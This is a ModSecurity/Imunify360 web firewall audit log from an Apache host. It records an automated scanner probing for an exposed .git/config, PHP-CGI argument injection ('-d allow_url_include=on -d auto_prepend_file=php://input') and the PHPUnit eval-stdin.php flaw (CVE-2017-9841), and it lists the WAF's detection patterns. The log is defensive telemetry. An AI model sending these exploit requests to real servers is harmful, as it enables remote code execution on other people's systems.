Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "funshop.ro"] [uri "/.git/config"] [unique_id "aqZJ3kwu1RSkptiiNIX1GAAAAIA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "funshop.ro"] [uri "/.git/config"] [unique_id "aqZJ3kwu1RSkptiiNIX1GAAAAIA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "funshop.ro"] [uri "/.git/config"] [unique_id "aqZJ3kwu1RSkptiiNIX1GAAAAIA"]
Stopwatch: 1789282782302302 49212 (- - -)
Stopwatch2: 1789282782302302 49212; combined=47246, p1=331, p2=46710, p3=148, p4=8, p5=49, sr=113, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4404271e-Z--
--3dbd9009-A--
[13/Sep/2026:10:02:08.031433 +0300] aqZKcCsVWymXUono-eRTiAAAABY 106.51.22.217 46770 127.0.0.1 7081
--3dbd9009-B--
POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 1189
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
--3dbd9009-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--3dbd9009-E--
--3dbd9009-H--
Message: Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "43"] [id "77218420"] [msg "IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input||MV:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Stopwatch: 1789282928024026 7528 (- - -)
Stopwatch2: 1789282928024026 7528; combined=5924, p1=359, p2=5365, p3=140, p4=17, p5=43, sr=142, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3dbd9009-Z--
--bff0225b-A--
[13/Sep/2026:10:02:09.922426 +0300] aqZKcTTJ6xTvcJoem7f42gAAAEo 106.51.22.217 46786 127.0.0.1 7081
--bff0225b-B--
POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 1189
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
--bff0225b-F--
HTTP/1.1 200 OK
Last-Modified: Tue, 02 Apr 2024 12:21:35 GMT
ETag: "67a-6151c25a371c0"
Accept-Ranges: bytes
Content-Length: 1658
Content-Type: text/html
--bff0225b-E--
--bff0225b-H--
Message: Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "43"] [id "77218420"] [msg "IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input||MV:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Stopwatch: 1789282929915808 6689 (- - -)
Stopwatch2: 1789282929915808 6689; combined=5081, p1=409, p2=4511, p3=107, p4=16, p5=37, sr=112, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bff0225b-Z--
--f0cfa452-A--
[13/Sep/2026:10:02:12.369915 +0300] aqZKdDTJ6xTvcJoem7f42wAAAEM 106.51.22.217 46794 127.0.0.1 7081
--f0cfa452-B--
POST /index.php?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 1189
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
--f0cfa452-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--f0cfa452-E--
--f0cfa452-H--
Message: Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "43"] [id "77218420"] [msg "IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input||MV:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Stopwatch: 1789282932364728 5251 (- - -)
Stopwatch2: 1789282932364728 5251; combined=4021, p1=305, p2=3569, p3=105, p4=11, p5=30, sr=155, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f0cfa452-Z--
--162b0c7a-A--
[13/Sep/2026:10:02:14.757174 +0300] aqZKdisVWymXUono-eRTiQAAABE 106.51.22.217 46800 127.0.0.1 7081
--162b0c7a-B--
POST /test.hello?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 1189
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
--162b0c7a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--162b0c7a-E--
--162b0c7a-H--
Message: Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "43"] [id "77218420"] [msg "IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input||MV:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Stopwatch: 1789282934751692 5553 (- - -)
Stopwatch2: 1789282934751692 5553; combined=4236, p1=353, p2=3744, p3=86, p4=11, p5=42, sr=184, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--162b0c7a-Z--
--ec692d5a-A--
[13/Sep/2026:10:02:17.140753 +0300] aqZKeSsVWymXUono-eRTigAAAAU 106.51.22.217 54624 127.0.0.1 7081
--ec692d5a-B--
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 1189
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
--ec692d5a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--ec692d5a-E--
--ec692d5a-H--
Message: Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "43"] [id "77218420"] [msg "IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input||MV:-d allow_url_include=on -d auto_prepend_file=php://input||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Stopwatch: 1789282937133591 7213 (- - -)
Stopwatch2: 1789282937133591 7213; combined=4997, p1=302, p2=4544, p3=101, p4=13, p5=37, sr=121, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ec692d5a-Z--
--49f0f642-A--
[13/Sep/2026:10:02:19.637121 +0300] aqZKe0wu1RSkptiiNIX1JgAAAIU 106.51.22.217 54634 127.0.0.1 7081
--49f0f642-B--
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--49f0f642-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--49f0f642-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKe0wu1RSkptiiNIX1JgAAAIU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKe0wu1RSkptiiNIX1JgAAAIU"]
Action: Intercepted (phase 2)
Stopwatch: 1789282939571686 65522 (- - -)
Stopwatch2: 1789282939571686 65522; combined=63875, p1=405, p2=59436, p3=0, p4=0, p5=4033, sr=236, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--49f0f642-Z--
--3ccae92f-A--
[13/Sep/2026:10:02:21.596052 +0300] aqZKfUwu1RSkptiiNIX1JwAAAII 106.51.22.217 54646 127.0.0.1 7081
--3ccae92f-B--
GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--3ccae92f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3ccae92f-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKfUwu1RSkptiiNIX1JwAAAII"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKfUwu1RSkptiiNIX1JwAAAII"]
Action: Intercepted (phase 2)
Stopwatch: 1789282941537275 58821 (- - -)
Stopwatch2: 1789282941537275 58821; combined=57533, p1=359, p2=56778, p3=0, p4=0, p5=396, sr=154, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3ccae92f-Z--
--3252872d-A--
[13/Sep/2026:10:02:24.401945 +0300] aqZKgGM7dE9KgIIOpQhtrAAAAMc 106.51.22.217 54676 127.0.0.1 7081
--3252872d-B--
GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--3252872d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3252872d-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKgGM7dE9KgIIOpQhtrAAAAMc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKgGM7dE9KgIIOpQhtrAAAAMc"]
Action: Intercepted (phase 2)
Stopwatch: 1789282944343108 58893 (- - -)
Stopwatch2: 1789282944343108 58893; combined=57206, p1=299, p2=56419, p3=0, p4=0, p5=487, sr=123, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3252872d-Z--
--22ad1c6c-A--
[13/Sep/2026:10:02:26.426337 +0300] aqZKgmM7dE9KgIIOpQhtrQAAANU 106.51.22.217 34818 127.0.0.1 7081
--22ad1c6c-B--
GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--22ad1c6c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--22ad1c6c-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKgmM7dE9KgIIOpQhtrQAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "aqZKgmM7dE9KgIIOpQhtrQAAANU"]
Action: Intercepted (phase 2)
Stopwatch: 1789282946363086 63294 (- - -)
Stopwatch2: 1789282946363086 63294; combined=61479, p1=361, p2=60782, p3=0, p4=0, p5=335, sr=154, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--22ad1c6c-Z--
--685cad52-A--
[13/Sep/2026:10:02:28.189656 +0300] aqZKhGM7dE9KgIIOpQhtrgAAANE 106.51.22.217 34828 127.0.0.1 7081
--685cad52-B--
GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--685cad52-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--685cad52-H--
Message: Access denied with code 403 (phase 2). Pattern match "\\/vendor" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "260"] [id "77140967"] [msg "IM360 WAF: PrestaShop PHPUnit Arbitrary Code Execution vulnerability (CVE-2017-9841)||MVN:REQUEST_URI||T:APACHE||MV:/vendor/phpunit/phpunit/license/eval-stdin.php"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\\\\\/vendor" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "260"] [id "77140967"] [msg "IM360 WAF: PrestaShop PHPUnit Arbitrary Code Execution vulnerability (CVE-2017-9841)||MVN:REQUEST_URI||T:APACHE||MV:/vendor/phpunit/phpunit/license/eval-stdin.php"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "aqZKhGM7dE9KgIIOpQhtrgAAANE"]
Action: Intercepted (phase 2)
Stopwatch: 1789282948186044 3655 (- - -)
Stopwatch2: 1789282948186044 3655; combined=2386, p1=243, p2=1841, p3=0, p4=0, p5=301, sr=93, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--685cad52-Z--
--68fc846b-A--
[13/Sep/2026:10:02:30.389330 +0300] aqZKhmM7dE9KgIIOpQhtrwAAAMo 106.51.22.217 34850 127.0.0.1 7081
--68fc846b-B--
GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--68fc846b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--68fc846b-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/vendor/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKhmM7dE9KgIIOpQhtrwAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-02.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKhmM7dE9KgIIOpQhtrwAAAMo"]
Action: Intercepted (phase 2)
Stopwatch: 1789282950330104 59286 (- - -)
Stopwatch2: 1789282950330104 59286; combined=56736, p1=1123, p2=54354, p3=0, p4=0, p5=1258, sr=160, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--68fc846b-Z--
--bec6ce18-A--
[13/Sep/2026:10:02:32.269580 +0300] aqZKiGM7dE9KgIIOpQhtsAAAAME 106.51.22.217 34856 127.0.0.1 7081
--bec6ce18-B--
GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--bec6ce18-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--bec6ce18-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
